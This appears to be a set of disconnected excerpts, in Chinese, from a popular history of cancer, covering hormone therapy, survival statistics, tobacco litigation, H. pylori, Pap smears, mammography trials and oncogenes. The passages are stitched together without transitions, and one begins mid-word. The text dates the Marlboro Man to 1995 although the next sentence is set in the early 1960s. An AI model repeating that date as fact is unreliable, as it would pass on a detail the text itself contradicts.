　　1929 年，生物化学家爱德华·多伊西（Edward Doisy）试图找出影响女性月经周期的激素因素。他已经从怀孕的女性那里收集了几百加仑的尿液，盛放在巨大的铜桶里，然后提取出若干毫克的激素，称作雌激素。多伊西的做法引发了雌激素或类似物的大规模生产。到 40 年代中期，一些实验室和制药公司为争夺“女性特质”的市场，竞相合成雌激素的类似物或寻找新的方法来有效地纯化雌激素。　　

　　起初，普力马［这个名字来自于“怀孕的马尿”（pregnant mare urine）］和 DES 都是作为治疗更年期的万能药。但是对哈金斯来说，合成雌激素的存在具有另一个显著不同的意义：他可以通过注射这些药物使男性身体“女性化”，并使前列腺癌患者体内停止生成睾酮。他称此方法为“化学阉割”。他再一次有了惊人的发现。就像通过手术去势一样，对患有攻击性前列腺癌的病人实施女性激素快速反应治疗（即“化学阉割”），往往只有很小的副作用——最突出的只是产生类似更年期的潮热症状。前列腺癌并没有被这些类固醇激素治愈；反而在患者复发时对这种激素治疗产生了耐受性。但是，这长达几个月的缓解，证明了激素操纵疗法可抑制激素依赖性癌症的生成。要缓解癌症并不需要一味地使用滥杀无辜的细胞毒药（如顺铂或氮芥）。　　

　　19 世纪 90 年代末，大胆的苏格兰外科医生乔治·比特森（George Beatson）试图制定新的手术方案来治疗乳腺癌。他从苏格兰高地的牧羊人那里得知，摘除奶牛的卵巢可以改变它们的泌乳能力，并由此改善它们乳房的质量。比特森并不理解这种现象的生理基础（当时，雌激素，即卵巢激素尚未被多伊西发现），但他对卵巢和乳房之间无法说明的联系感到好奇。于是，他通过外科手术摘除了三个患有乳腺癌的女性的卵巢。在卵巢和乳房的激素回路尚未明确的年代，这种做法就好像通过切除肺来治愈脑损伤一样，是无法解释清楚的非正统治疗方案。但是，令比特森感到惊讶的是，他的三个病例均对卵巢摘除表现出明显的反应：乳腺肿瘤细胞急剧萎缩。伦敦的外科医生试图在更多女性患者中重复比特森的发现，但结果却不尽相同，只有约 2/3 的患者产生了上述反应。　　

　　事实上，乳腺癌的病例可以分为两种类型：一种是受体高水平表达的 ER 阳性肿瘤；另一种是低水平表达的 ER 阴性肿瘤。　　

　　詹森的观察结果为比特森谜题提供了一种可能的解释。也许乳腺癌细胞对切除卵巢后显著不同的应答反应，取决于癌细胞是否有雌激素受体。具有受体的 ER 阳性肿瘤，保留了它们对雌激素的渴望。ER 阴性肿瘤则已自我摆脱了对受体和激素的依赖。因此詹森提出，ER 阳性肿瘤会对比特森的手术产生应答，而 ER 阴性肿瘤则会毫无反应。　　

　　验证这个理论最简单的方法就是开展一项实验——对 ER 阳性和 ER 阴性肿瘤的女性患者施行比特森的手术，确定癌细胞的受体状态是否如预测地产生应答反应。但是，手术已经过时了（因为切除卵巢会产生许多其他严重的副作用，如骨质疏松症）。另一种替代的方法是用药物手段来抑制雌激素的功能，就像女性版的哈金斯式化学阉割法。　　

　　三苯氧胺在马萨诸塞州什鲁斯伯里（Shrewsbury）的一间名不见经传的制药实验室里圆满完成了旅程。1973 年，在伍斯特基金会实验室（一个涉及新避孕药开发的研究中心）工作的生化学家，克雷格·乔丹（V. Craig Jordan）研究了癌症对三苯氧胺治疗方案产生响应的模式。他用一项简单的分子技术给乳腺癌细胞染色检测埃尔伍德·詹森在芝加哥发现的雌激素受体，通过这个实验，比特森谜题的答案跳了出来。表达雌激素受体的癌细胞对三苯氧胺是高度敏感的；而缺乏雌激素受体的癌细胞，则对其毫无反应。至此，近百年前，在英国观察到的乳腺癌女性患者摘除卵巢后，术后不稳定、应答反应有好有坏现象背后的原因，终于真相大白。表达雌激素受体的细胞，可以结合三苯氧胺，而这种药物（一种雌激素拮抗剂）切断了雌激素的反应，从而阻止了该细胞的生长。但是，ER 阴性细胞缺乏该药物的受体，从而对它不敏感。这个简单的模式令人满意。在癌症研究史上，第一次由一个核心分子逻辑把药物、药物靶向受体及癌细胞结合在了一起。　　

　　从一开始，贝勒就排斥了病人最熟悉的指标：存活率随时间的变化。五年存活率衡量的是病人在确诊之后五年内的存活率。但是存活率分析有一个陷阱，它易受偏差的影响。　　

　　要理解这些偏差，让我们设想两个相邻的村庄，有相同人口和相同的癌症死亡率。平均而言，两个村子诊断出癌症的患者年纪是 70 岁，诊断后，病人存活了 10 年，80 岁死亡。　　

　　假设其中的一个村庄，引进了高度敏锐的癌症检测手段，比如将血液里阻碍蛋白（protein Preventin）的浓度作为癌症的标记。假设阻碍蛋白法是一个完善的侦测试验。阻碍蛋白呈“阳性”的男女，就直接被计入患癌症的人群。　　

　　我们进一步假设，阻碍蛋白是一个极其敏感的检查，能揭示很早期的癌症。因为这项难以置信的测试会越来越早地抓出癌症，所以引进后不久，甲村诊断出癌症的平均年纪就会从 70 岁变成 60 岁。然而，由于引进阻碍蛋白测验之后，并无有效的治疗介入，两个村子平均死亡的年龄仍然相同。　　

　　对于没经验的观察者来说，这个方案可能会产生奇怪的效果。在甲村，阻碍蛋白诊断起了作用，现在检查出癌症的年龄是 60 岁，病人死于 80 岁，有 20 年的存活期；在乙村，没有阻碍蛋白诊断，70 岁时才检测到癌症，病人死于 80 岁，有 10 年的存活期。然而，“增加”的存活时间，不可能是真实的。阻碍蛋白，怎么能仅凭其存在，而没有任何介入治疗，就增加了存活时间呢？　　

　　答案是显而易见的：存活时间的增加，当然是一种假象。存活率看起来增加了，但其实是由于诊断方法改进而使诊断时间提前，从癌症诊出到死亡之间的时间增加了。　　

　　避免这种偏差的简单方法是，去衡量总死亡率，而不是存活率（上面的例子中，即使在引入早期诊断的测试方法后，死亡率仍保持不变）。　　

　　但这样在方法上也有严重的瑕疵。“癌症相关的死亡”是癌症记录的原始数据，其统计数字来源于宣告病人死亡时医生登记的诊断结论。把原始数据在很长一段时间内作对比的问题在于：总的来说，美国全体居民（像别国一样）正在逐渐变老，癌症相关的死亡率必然随之慢慢增长。老人不可避免地会携带癌症，就像潮水携带着漂浮物。老年公民占更大比例的国家，似乎比年轻公民多的国家有更多的癌症缠身，即使真实的癌症死亡率并没变。　　

　　为比较随时间推移的样本，需要其他方法把两组人群调整到相同的标准上——事实上，是在统计学上实现一组人到另一组人的“缩放”。这把我们带到了贝勒分析中新观念的核心：为完成缩放，他使用了一种独特有效的标准化处理，称之为“年龄校正”。　　

　　为理解年龄校正，请想象两组非常不同的人群。一组人群年轻人居多，第二组人群稍年长。如果要统计“原始”的癌症死亡人数，则较年长的人群会明显有更多的癌症死亡病例。　　

　　现在，设想一下对第二组做出校正，以消除年龄的差异。以第一组人群为参照，调整第二组，当年龄差异被消除后，死亡率也会按比例缩减。年龄校正后，两组人群现在包含相同数量的老人和年轻人，以及相应调整的死亡率，特定癌症产生了相同的死亡率。贝勒在几十年间反复执行这个运算：他每年把人群分成多个年龄组：20～29 岁，30～39 岁，40～49 岁，以此类推，然后使用 1980 年的人口分布（任意选取，作为标准），把其他年份的人群转变为同样的分布。癌症发病率也相应调整了。一旦各组分布被调整成相同的具有标准结构的人口，该人群就可以随时间推移被研究和比较了。　　

　　百思不得其解，帕特不情愿地变成了流行病学家。他开始探索这种奇特疾病的病因，放弃了针对阴囊肿瘤制定新的手术方法。他注意到清扫工的身体每天都要与煤尘和灰烬长时间接触，并记录了那些微小不显眼的煤烟颗粒嵌入皮肤长达数天，而阴囊癌通常从皮肤表面被工人们称为烟尘疣的伤口处爆发。帕特仔细研究了这些观察结果之后，最终确定了他的怀疑：长期嵌在皮肤里的烟囱煤烟最可能是阴囊癌的诱因。　　

　　18 世纪的英国是一个工厂、煤和烟囱的国度，而另一面，则是童工和烟囱清扫工伺候着这些工厂和烟囱。虽然做烟囱清扫工的儿童为数很少（1851 年之前，英国 15 岁以下的清扫工大概有 1 100 个），但他们仍然象征了经济对童工的依赖。四五岁的孤儿经常被以低价送给有经验的清扫工当学徒（在狄更斯的《雾都孤儿》中，黑皮肤、坏心肠的烟囱清扫工加菲尔德先生说过：“我想要一个‘学徒’，而且我已经准备好带他走了。”在奇怪的好运之下，奥利弗免于被卖给加菲尔德，而加菲尔德已经把两名学徒送入烟囱中，造成了他们窒息而死）。　　

　　香烟也像病毒突变一样发生了改变，以适应多样的环境。在苏联的古拉格劳改营，它成了地下货币；在英国的参政妇女中，它是一种反抗的标志；在美国郊区，它象征男子汉的粗犷气概；在叛逆的青少年中，它代表着与时代的分歧。在 1850 年到 1950 年的动乱世纪，世界充满着冲突、碎裂和迷惑，香烟却提供了与之匹敌，并正好相反的缓解物：友情、归属感、有同种嗜好的亲密感。如果癌症是现代性的典型产物，那么，其最主要的可预防的病因——烟草，也同样是现代性的典型产物之一。　　

　　虽然温德尔在试图说服卫生局局长时受挫，但他在圣·路易斯却意外地招徕了强大的后盾，导师埃瓦茨·格雷厄姆：也就是那个以“尼龙袜”之说出名的医师。格雷厄姆也不相信吸烟与癌症之间的联系。这位伟大的肺外科医生每周要为几十例肺癌患者动手术，他本人就烟不离口。但是，他同意帮助温德尔做研究，部分原因是为了能最终推翻这个联系，一劳永逸地解决这个问题。格雷厄姆还认为这个试验能让温德尔了解研究设计的复杂性和差别性，从而让他能在未来设计出一个查明肺癌真正风险因子的试验。　　

　　1995 年，菲利普·莫里斯（Philip Morris）公司推出的“万宝路牛仔”（Marlboro Man）是迄今为止最成功的香烟偶像，这个牌子的销量在 8 个月内激增了 5 000%。万宝路承诺，香烟会带来一种飘飘欲仙的感觉，男子汉气概弥漫在每一个独立的充满诱惑的包装盒里：“真正男人本色的味道，滤嘴口感畅快，劲道十足，不走味儿。”到了 60 年代早期，美国香烟年度总销量高达近 50 亿美元，史无前例。平均而言，一个美国人每年消费约 4 000 支香烟，换句话说是每人每天大概吸 11 支烟，几乎是醒着的时候每小时一支。　　

　　奥尔巴赫描述自己所发现的病变的论文，是理解癌变的一座里程碑。奥尔巴赫试图理解癌变的起源而不是研究已全面爆发的癌症。他没有从癌症开始自己的研究，而是从癌症的前身——癌前病变开始。奥尔巴赫发现，在肺癌明显生长、并在吸烟者肺部表现出症状之前，肺部已经形成一层层处于各种演化状态的癌前病变，就像史前页岩一样。病变始于支气管道，随着烟雾渗入肺部，暴露在最高的焦油浓度下的最外层开始变厚变肿。在这些变厚的层内，奥尔巴赫发现了恶性变化的下一阶段：具有褶皱和变黑的细胞核的非典型细胞，构成不规则斑块。而且在较少部分患者中，这些非典型细胞开始显现癌症特有的细胞学改变：肿大、异常细胞核的疯狂分裂。在最后阶段，这些细胞簇突破了基底膜的薄膜，直接转变为浸润性癌。奥尔巴赫认为，癌是一种随时间慢慢展现的疾病。它的发展步伐并不快，它的诞生是相当懒散的。　　

　　1961 年，美国癌症学会、美国心脏协会和国家防痨协会联名致信肯尼迪总统，请求指派国家委员会调查吸烟与健康之间的联系。信中建议，委员会应该寻求“一种解决这个健康难题的方案，而尽量少干预产业自由和个人幸福”。不可思议的是这个“解决方案”既要有侵略性又要有安抚性，要明确宣传癌症、肺病、心脏病与吸烟之间的关系，又不能对烟草业的自由造成明显威胁。肯尼迪怀疑这是难以完成的任务（在盛产烟草的南方，他的政治基础很薄弱），迅速把这一烫手山芋交付给了他的卫生局局长路德·特里（Luther Terry）。　　

　　路德·特里是阿拉巴马州人，语调轻柔、为人温和、不好争斗；童年时曾靠捡拾烟草赚过钱。他从小就对医学着迷，1935 年从杜兰大学毕业后，在圣·路易斯大学实习，在那儿遇见了令人敬畏的埃瓦茨·格雷厄姆。其时，格雷厄姆正处于外科生涯的巅峰期。特里毕业后去了公共卫生服务局，然后在 1953 年转去国家癌症研究所。在临床中心，他的实验室毗邻临床大楼——朱布罗德、费雷、弗赖雷克一直在这栋楼里抵抗白血病。因此，特里在烟草的阴影下度过了童年，又在癌症的阴影下度过了学术生涯。　　

　　委员会认为，警告消费者存在危险的最有效方法，是在产品上印出此类信息。因此，香烟包装将会贴上警告标志：“吸烟有害健康，可导致死于癌症或其他疾病。”同样的警告标志也必须附加在所有印刷媒体的香烟广告中。　　

　　联邦贸易委员会提议开展这些行动的消息传遍国会，让烟草行业普遍感到恐慌。香烟制造商进行了疯狂的游说和拉票，阻止这样的警告标志。　　

　　《联邦香烟标签和广告法案》虽然令人失望，但是它激励了反烟草的力量。把一则不知名的贸易法拧成管制烟草产业的套索，这既富有象征性，又具有战略性：一个不受控制的产业“就范”了——即使只是部分就范。1966 年，刚从法学院毕业的年轻律师约翰·班茨哈夫（John Banzhaf），进一步推动了这一战略。班茨哈夫为人傲慢、自信、不因循守旧。1966 年的感恩节假期，他闲散在家时，看着无所不在的香烟广告，脑袋里冒出了一则模糊的法律条文：1949 年，国会曾发布“公平原则”，迫使公共广播媒体让有争议的问题的正反两派观点拥有“公平”的电影或电视展示时间。国会对此的解释是，因为广播媒体使用的电波频道是公共资源，他们应当通过对有争议的话题提供平衡的信息回报公众。很少人有人知道并使用这一条款，但是，班茨哈夫开始好奇它能否应用于香烟广告。联邦贸易委员会已经攻击了烟草业不厚道的广告活动。类似的策略可以攻击它在媒体上不成比例的出镜率吗？　　

　　1967 年初夏，班茨哈夫匆匆写信给负责在这个领域实施“公平原则”的联邦通讯委员会（FCC），投诉一家纽约电视台给了烟草商业广告超过比例的时间，却没有播放反烟草广告。这个抗议很不寻常，因此班茨哈夫根本没期望得到实质性的回复，他登上邮轮开始了为期四周的旅行。但是，出乎意料的是，班茨哈夫的信落到了有心人手中。联邦通讯委员会的总顾问，雄心勃勃的改革者亨利·盖勒（Henry Geller），长久以来就对公益广播抱有兴趣，正在私下研究攻击烟草广告的可能性。当班茨哈夫从巴哈马群岛游历归来，他收到了盖勒的回信：“这些有问题的广告显然在宣传使用某种香烟的吸引力和愉悦性。的确，它们没其他目的，这很好理解。我们认为，播放此类广告的电视台有责任告诉观众对公众很重要的争议性问题的另一面，也就是说——无论吸烟有多么享受，吸烟都可能危害吸烟者的健康。”　　

　　在盖勒的支持下，班茨哈夫把电视台告上了法庭。可想而知，烟草公司大声抗议，争辩道这类执法行为会严重危害言论自由，并发誓要为此案战斗到底。班茨哈夫面临着旷日持久的法庭斗争，于是他求助于美国癌症协会、美国肺协会、和其他几个公共健康组织，以获取支持。不幸的是都被断然拒绝。　　

　　不管怎样，班茨哈夫选择了上法庭。1968 年，他走上法庭，摆好姿态对抗国内衣冠楚楚的最高薪律师，他们一排排全都身穿条纹西装，戴着袖扣。但是，完全出乎烟草产业的意料，班茨哈夫胜诉了！　　

　　他公开承认，萝丝·西伯隆尼认识到了吸烟的危害。是的，她阅读了香烟的警告标志，以及托尼·西伯隆尼煞费苦心收集的大量报刊文章。但是，她无法改掉这个习惯，依旧沉溺于此不能自拔。埃德尔承认，西伯隆尼一点也不无辜。但最最重要的不是萝丝·西伯隆尼对香烟的危害有多了解，而是“香烟制造商了解多少”，以及他们向萝丝这样的消费者透露的癌症风险有多少。　　

　　这个论点令烟草公司大为惊诧。埃德尔坚持认为，他必须知道香烟制造商对吸烟的危害了解多少，而这也使他得以史无前例地向法庭请求获得三大烟草公司的内部文件。埃德尔依靠法律的强制，调查了这些私密的档案，结果发掘出一个超级丑闻。大多数香烟制造商不仅知道烟草的致癌风险、尼古丁强烈的上瘾性，并且刻意镇压能证明这些事实的内部研究。一份又一份文件显示，为隐瞒风险，这个行业发生了激烈的内部斗争，甚至他们自己的员工也常常感到良心不安。　　

　　1987 年，经过漫长的四年法律纷争之后，西伯隆尼的癌症案件审判开庭了。尽管有许多观察家满怀希望，也作了预测，但裁决却让埃德尔及西伯隆尼家人大失所望。陪审团认为萝丝·西伯隆尼要为自己的癌症负 80% 的责任，她在 1966 年之前（规定必须标注警告标志之前）所吸品牌的香烟制造商利格特集团，承担余下 20% 的责任。菲利普·莫里斯公司和罗瑞拉德烟草公司最终逍遥法外。陪审团判给安东尼·西伯隆尼 40 万美元的赔偿金，勉强能支付四年诉讼的文书费。　　

　　我很难表述在癌症病房看到的烟草直接危害的程度和范围。有一位精力充沛、衣着整洁的年轻广告主管，他第一次吸烟是为了安神，现在，为清除扩散性的舌癌，他不得不切掉下颌骨；有一位祖母，曾教孙儿们吸烟并与他们共享抽烟之乐，现在，被诊断出食道癌；还有一位神父，患了晚期肺癌，发誓说吸烟是他唯一无法克服的恶习。即使这些病人正在为其烟瘾付出最后的代价，其中一些人仍然执迷不悟，实在让人震惊。我的许多病人在治疗癌症的过程中仍在抽烟，经常是偷偷地抽，当他们签化疗同意书时，我能在他们衣服上闻到刺鼻的烟味。20 世纪 70 年代，肺癌发生率冲上顶峰。在英国实习的一位外科医生回忆自己在病房的头几个晚上，曾有病人从癌症手术醒来后，像僵尸一样穿过走廊去找护士讨要香烟。　　

　　尽管吸烟成瘾明显具有严重且长期的恶果，但是，即使到今天，香烟的消耗率依旧居高不下。几十年来趋于稳定的吸烟率，在某些地区的人口中再度上升。死气沉沉的反烟运动也让大众失去了兴趣，烟草的威胁和社会回应的脱节正在扩大。令人震惊和不安的事实是，在美国，几乎每种新药都会被当作潜在致癌物经受严格审查，即使该物质与癌症只有微小的联系，也会造成公众的歇斯底里，令媒体焦虑不堪。但是人类所知最常见、最强烈的致癌物之一香烟，却能随意地在各角落的商店里用几美元买到，实在是不可思议。　　

　　1971 年，另一个类似的研究确定了一种更为罕见的致癌物，称为己烯雌酚的合成激素药物。20 世纪 50 年代，己烯雌酚被大量地应用于预防孕妇早产（尽管它在这方面的益处还有待证实）。一代人之后，就在人们怀疑患阴道癌和子宫癌的女性与其接触雌激素有关时，一个特别的现象呈现在人们面前：这些女性并没直接接触过这类化学药品，反倒是她们的母亲曾经有过。致癌物跳过了一代人。它并没有作用在服用己烯雌酚的女性身上，却导致曾在她们的子宫内接触过该药物的女儿们患上癌症。　　

　　不是每种已知的致癌物在测试中都有结果：在不能生长沙门氏菌的培养皿上喷洒己烯雌酚或石棉并没有产生大量的突变菌（与此相反，进行测试的几家烟草制造商发现，烟草烟雾的化学成分确实引起了细菌突变，这个呈阳性的结果让他们大惊失色，迅速将其隐匿）　　

　　由人类肝炎病毒引起的慢性郁积性炎症也可致癌。　　

　　HBV（乙型肝炎）可以导致未硬化的肝患癌，这个病毒现在也被认为有直接的致癌作用。　　

　　沃伦和马歇尔把它叫作“幽门螺旋杆菌”（Helicobacter pylori）。螺旋（Helicobacter）形容其外观， 幽门 （pyloru）来自拉丁语的“看门人”，描述它的位置靠近胃部的出口。　　

　　1984 年 7 月，马歇尔的实验停滞不前，经费申请也迟迟未批，最后他孤注一掷，开始在自己身上实验：“实验那天早上，我没有吃早饭……两小时之后，尼尔·诺克斯（Neil Noakes）刮下已经培养了四天的幽门螺旋杆菌，溶在碱性蛋白胨液体中（一种使细菌成活的肉羹）。我滴水未进。上午 10 点，尼尔递给我 200 毫升的大烧杯，里面盛着大概四分之一的棕色的浑浊液体。我一口喝下去，然后继续绝食。肚子咕噜噜叫了几声，是细菌？还只是因为我饿了？”　　

　　在喝下浑浊的细菌培养物的几天后，患上了重病，症状是恶心、呕吐、夜间盗汗、发冷。他说服同事给他做了一系列活体检查，并记录下病理变化。他被诊断出有高度活跃的胃炎，细菌密集地覆盖在他的胃和下方溃烂的贲门上，这正与沃伦在其病人身上发现的一致。7 月末，马歇尔以沃伦为共同作者向《澳大利亚医学杂志》（Medical Journal of Australia）提交发表了以自己为病例的报告。文中写道：“一位普通志愿者已经吞下了该生物体的纯培养液。”批评家终于缄口沉默了。幽门螺旋杆菌被无可争议地认定为胃部炎症的病因。　　

　　幽门螺杆菌与几种癌症有关，包括胃腺癌和与粘膜相关的淋巴癌。　　

　　然而，抗生素治疗癌症的效果更为复杂。清除青年男女体内感染的幽门螺杆菌，可减少胃癌的发病率。但对于老年患者来说，体内慢性胃炎已郁积了数十年，慢性炎症可能已经发展到即使清除也无济于事的程度了。若要预防癌症，就应该采纳奥尔巴赫的建议：尽早抑制 癌症的前驱症状。　　

　　巴帕尼古拉是纽约康奈尔大学希腊籍的细胞学者，身体健壮、个子不高，衣着正式、举止老派；他在雅典和慕尼黑学习过药学和动物学，1913 年来到纽约。他下船之际，身无分文；虽然想在一家医疗实验室找份工作，但为了生计沦落到在第 33 大街的金贝尔商店卖地毯。经过几个月荒诞不经的工作之后（人人都说他是一个糟糕的地毯销售员），巴帕尼古拉获得了康奈尔大学的研究员职位，但这项工作也像卖地毯一样离谱：他被指派去研究豚鼠的月经周期，这种动物在经期既不会明显地出血，也不会排出剥落的组织。巴帕尼古拉学会了运用鼻窥器和棉签从豚鼠体内刮取子宫颈细胞，把它们以薄薄的水状涂敷到载玻片上。　　

　　他发现这些细胞像手表的分针，随着荷尔蒙在动物体内周期性地起落，豚鼠子宫颈内的这些细胞也周期性地改变形状和大小。巴帕尼古拉能够以它们的形态作为指导，准确地预测它们的月经周期，而且往往能够精确到天。　　

　　20 世纪 20 年代晚期，巴帕尼古拉将这一技术运用到临床病人当中。（他的妻子玛丽亚，据称每日都接受子宫颈涂片检测，这无疑是其坚强婚姻的鲜明体现。）和豚鼠的情况一样，巴帕尼古拉发现，人体子宫颈脱落的细胞，同样可以预示妇女月经周期的阶段。　　

　　巴帕尼古拉发现，癌症患者更倾向于脱落不正常细胞。在几乎每一例宫颈癌检测中，当他刮取子宫颈细胞时都能发现“畸形和奇怪的形态”，有异常肿起的细胞核、褶边的膜皮，以及缩小的细胞质，与正常细胞相差甚远。他写道，“情况十分明显”，他发现了一种测试恶性细胞的新方法。　　

　　不出所料，谢尔比小组在人群中发现了相当比例的晚期癌症患者。在最初的 15 万人里，有 555 位妇女患有侵袭性宫颈癌。但另一项发现更加证实了巴帕尼古拉的理论：令人惊讶的是， 557 位妇女被检查出有侵袭前的癌症迹象甚至是癌前病变——能通过简单外科手术治疗的早期局部损伤。所有这些妇女几乎都没有任何症状，如果没有接受检测，她们永远也不会被怀疑有癌前病变。值得注意的是，这些有侵袭前病变的妇女平均年龄大约比侵袭性癌症患者年轻 20 岁，这进一步证实了致癌过程的长期性。巴氏涂片法实际上将癌症的发现提前了近 20 年，由此基本实现了宫颈癌 “从无药可医，到可以治愈”的转变。　　

　　对于癌症，过度诊断和诊断不足都会付出昂贵的代价，通常难以在中间找到精确的平衡点。我们希望每一个癌症检测都具备完美的特异性和敏感性。但是筛检技术并不尽善尽美。它因为无法跨越最初的障碍而经常性地失败：过度诊断和诊断不足的比率高得令人难以接受。　　

　　验被故意简化：参与健保方案、年龄在 40 到 64 岁之间的妇女被分成两组；一组用 X 射线进行乳房筛检，另一组不做。20 世纪 60 年代筛检的道德标准，使组别的确认简单易行。未筛检的一组，就是不做乳房 X 射线检查的人群，甚至不用取得她们的同意，她们只是被动地加入实验并被跟踪观察而已。　　

　　这项实验于 1963 年 12 月开始，立刻演变成一场后勤供给的噩梦。乳房 X 射线摄影检查非常繁琐，机器大如牛，底片小如窗，暗房里飞溅着有毒化学物。这项技术最好在专业的 X 射线诊房中操作，但是由于无法说服远在郊区的妇女长途跋涉去做检查，斯特拉斯和韦内只好将 X 射线设备移到一辆小货车里，停在曼哈顿中心，挤在冰淇淋贩售车和三明治小贩之间，为在午休期间出来的妇女检测。②　　

　　斯特拉斯开始了锲而不舍的招募工作。如果被拒绝，他会打电话、写信、再打电话，说服对方参与。这个移动诊所以机器般的精确度，每天对数以千计的妇女进行筛检。　　

　　“接待……5 架检测器×12 名妇女 / 小时 =60 名……更衣室：16 间×6 名妇女 / 小时 =96 名妇女 / 小时。每间更衣室有 4 个衣柜、16 间共是 64 个衣柜和 1 平方米的更衣空间。这种流程循环结束之后，妇女们回到同一间更衣室拿取衣裙……为了加快运转，移动诊所省去了椅子和镜子等配件。”　　

　　帘起帘落，门开门关，人进人出。检测像旋转木马一样从白天转到黑夜。经过六年的时间，三人小组令人惊叹地完成了通常需要二十年才能完成的筛检。　　

　　对癌症治疗法而言，20 世纪 80 年代中晚期是特别残酷的年份，希望与失望相混杂，复原力与绝望相胶着。就像是医生作家亚伯拉罕·韦尔盖塞（Abraham Verghese）所写，“如果说这是西方医学界一个不切实际、空前自信的时代，濒临在自负的边缘，还是太轻描淡写了……治疗结果不好，是因为患者年纪太大，体质虚弱，或者是病人就医太迟。总之，从来不是因为医学无能。”　　

　　艾滋流行病学在科学上意义深远的突破，是在巴黎巴斯德研究所的实验室展开的。1983 年 1 月，卢克·蒙塔尼耶（Luc Montagnier）团队，从一个患有考波希肉瘤的男同性恋的淋巴结活组织检查中，和一个死于免疫系统缺陷的扎伊尔妇女身体里，发现了病毒的迹象。蒙塔尼耶迅速推断，这是一种 RNA 病毒，可以将其基因传播到 DNA 中，并存入人类基因组——形成一种逆转录酶病毒。他将这一病毒称为免疫系统缺陷相关病毒（immuno-deficiency associated viruses，IDAV），认为它很可能就是艾滋病的病因。　　

　　1999 年 12 月，这一疗法的益处还待确定，但成千上万的妇女吵着要求治疗。因此一组美国研究人员致信金山大学的贝兹沃达，询问能否亲自到约翰内斯堡来考察他的数据。贝兹沃达的移植是唯一成功的案例。也许他们可以从中学到重要的经验并带回美国。　　

　　贝兹沃达欣然同意。访问的第一天，研究人员请求参阅他研究当中 154 位病人的档案和临床日志，贝兹沃达却只给了他们 58 份，而且奇怪的是，这些都来自治疗组。当小组要求出示对照组的档案时，贝兹沃达声称那些档案已经“丢了”。　　

　　研究小组大惑不解，于是深入探究，情况开始变得令人不安。贝兹沃达所提供的档案粗制滥造：随意潦草的单页记录上有大量添加删改的痕迹，综合着 6 到 8 个月以来所做的治疗。在记录中几乎看不到进入试验的资格标准。贝兹沃达声称他移植了同等数量的黑人和白人患者，然而几乎所有的记录都属于曾在约翰内斯堡希尔布朗医院（Hillbrow Hospital）接受过治疗的贫穷的黑人文盲妇女，当研究小组要求提供患者签署的针对某个据知有致命后果的治疗同意书时，仍然一无所获。医院的审查委员会应该保存这些协议的备份资料。看似根本没有人同意这种治疗，或是被告知关于这项试验的最基本的知识。很多被算作是“存活”下来的病人，早已带着晚期真菌感染的乳腺癌被赶到了临终关怀机构，在根本没有后续医疗跟进措施的情况下等待死亡。一位在治疗组中的妇女从未接受过任何药物治疗。而另一个病人档案追溯到源头竟然是一个男病人——根本不是乳腺癌患者。　　

　　我从一个槽里提取了几微升含有白血病细胞的液体，放在显微镜下观察。细胞看起来发胀而且形态异常，细胞核胀大、细胞质边缘很薄，这表明细胞的本质已经开始进行分裂，而且持续以病态、偏执的方式进行分裂。实验室里的这些白血病细胞来自国家癌症研究所，他们培养和研究这些细胞已经接近 30 年。这些细胞仍然在以可憎的增殖能力生长着，足以证明这种疾病骇人的力量。　　

　　从技术上看这些细胞是永生的。这些细胞的源头，那些女性已经死亡 30 年了。　　

　　像大多数动物王国的卵一样，海胆卵是严格的一雌一雄单配的，一旦单个精子进入卵细胞，卵细胞就会立即形成一个屏障阻挡其他精子的进入。受精完成后，受精卵分裂成两个，然后变成四个，每次分离时，进行染色体复制，并把它们平均地分配到两个子细胞中去。为了破解这种自然的染色体分离，鲍维里设计了一个极不平常的实验阻止海胆的卵子只与一个精子结合。他用化学物质剥去卵子外层的膜，以此强行促使两个精子受精。　　

　　鲍维里发现，这种多重受精促成了染色体的混乱。两个精子授精一个卵子，导致每个染色体变为三个，这个数目不可能被平均地分开。海胆受精卵不能在子细胞中恰当地分配染色体数目，于是陷入了疯狂的内部混乱。有非常少的细胞得到正确的 36 条海胆染色体组合而正常生长，那些染色体组合错误的细胞不能生长或者停止发育，然后出现混乱直至死亡。鲍维里得出结论，染色体肯定带有使细胞正常发育和生长的至关重要的信息。　　

　　格里哥·孟德尔（Gregor Mendel）任职于奥地利布尔诺一所孤立的修道院，以种植豌豆为业余爱好。19 世纪 60 年代早期，他独自工作时，注意到他的纯种豆子有一些特征会代代相传，比如豌豆花的颜色、种子的质地、植株的高度。当孟德尔用小镊子把矮株和高株，或者开蓝花植株和开绿花植株进行杂交后，他无意中发现了一个惊人的现象：矮株和高株杂交后，没有产生中间高度的植株，而是获得了高株；皱粒豌豆和圆粒豌豆杂交后只产生了皱粒豌豆。　　

　　1910 年，纽约哥伦比亚大学的胚胎学家托马斯·亨特·摩根（Thomas Hunt Morgan）发现了答案。像孟德尔一样，摩根也是一位养殖迷，只不过他饲养的是果蝇。在哥伦比亚大学边远角落的蝇房里，他用腐烂的香蕉养了数以万计的果蝇。此外，像孟德尔一样，摩根也发现在果蝇中可传递的特性不可分割地代代相传，比如眼睛的颜色和翅膀的图案都是由父母遗传，而不会混合改变。　　

　　因此，src 就是特明谜题的答案，就是劳斯肉瘤病毒携带的“致癌信息”。沃格特和迪斯贝格去除或灭活了病毒中的 src，发现缺乏 src 的病毒，既不会诱导细胞增殖，也不会引发转录。他们推断，src 是劳斯肉瘤病毒在演化过程中获得的某种畸形基因，被引到正常细胞中。它被称为致癌基因，——一种能导致癌症的基因①　　

　　埃里克松发现，src 是一种不同寻常的基因，它编码了一种蛋白质，该蛋白最突出的功能，就是通过给其他蛋白质链上一个小的化学分子（磷酸基）来改变它们。实质上，就是为它们打上一个精致的分子标签②。的确，科学家已经在正常细胞中找到了大量类似把磷酸基依附在其他蛋白质上的酶，这些酶被称作“激酶”。很快，科学家发现它们在细胞里就像分子的总开关一样。磷酸基依附到一个蛋白质上，就像“打开”这一开关，激活了蛋白质的功能。通常，一种激酶“打开”另一种激酶，尔后再打开另一种激酶，以此类推。信号在这个链式反应的每一步都被放大，直到许多这样的分子开关被置于“打开”的状态。大量开启的开关汇聚产生一种有力的内部信号，传给细胞来改变它的“状态”，例如从不分裂的状态转入分裂。　　

　　src 激酶是一种典型但极富推进力的激酶 ③。由病毒 src 基因产生的蛋白质非常强大而且极度活跃，会磷酸化周围的任何物质，包括细胞里许多至关重要的蛋白。src 不加选择地进行磷酸化，“打开”了大量的分子开关。在 src 的作用下，激活的一系列蛋白质最终影响了那些控制细胞分裂的蛋白质，src 以这种方式强迫细胞从不分裂变为分裂，最后诱导了加速的有丝分裂，这就是癌症的特征。　　

